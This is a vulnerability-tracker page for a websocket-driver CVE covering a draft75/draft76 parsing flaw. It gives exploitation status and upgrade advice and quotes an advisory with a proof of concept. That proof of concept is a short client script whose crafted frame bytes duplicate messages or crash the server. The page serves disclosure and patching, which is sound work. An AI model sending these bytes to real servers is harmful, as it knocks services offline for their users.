CVE-2026-140004: websocket-driver · Message corruption and denial of service triggered by crafted client message
Affects websocket-driverSource GCVE Database
Not known to be exploited · CVSS 9.1 Critical : upgrade to 0.8.0 as a priority.
Data as of 1 Dec 2026, 19:00 UTC
Thin evidence
One scorer or none| CNA (GitHub_M) | CVSS 3.1 | 9.1 |
|---|
- Patch
- Available – fixed in 0.8.0
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HExploitation evidence
Disclosed: evidence found.
CVE published 30 Nov 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 1 Dec 2026.
What to do
Upgrade websocket-driver to 0.8.0.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npmwebsocket-driver | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash. ### Details The `websocket-driver` library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the `draft75` and `draft76` versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server. To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option `allowDrafts: true` when creating a driver instance. ### Proof of concept Given a server using `websocket-driver` to handle WebSocket connections: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) driver.on('message', (msg) => console.log(msg.data)) }) server.listen(8000) ``` A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames: ```js const net = require('net') let tcp = net.connect(8000, '127.0.0.1') tcp.on('connect', () => { tcp.write([ 'GET / HTTP/1.1', 'Host: 127.0.0.1:8000', 'Connection: upgrade', 'Upgrade: websocket', '', '' ].join('\r\n')) tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff])) tcp.write(Buffer.from([0x80, 0x01, 0xff])) }) ``` This client will cause the server to emit the message `Hi` twice when it was only sent once. If the first frame is omitted and the client sends only `80 01 ff`, then the server crashes. After upgrading to a patched version, both these situations are handled correctly if `allowDrafts: true` is set. If it is not set then the connection is rejected as a bad request. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
References
- github.com/faye/websocket-driver-node/security/advisories/GHSA-v36f-rjg3-3v46 (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-140004 (opens in a new tab)
- github.com/faye/websocket-driver-node/commit/f9f657c823ff826dc4bccda4c603ee076c089bd7 (opens in a new tab)
- github.com/faye/websocket-driver-node (opens in a new tab)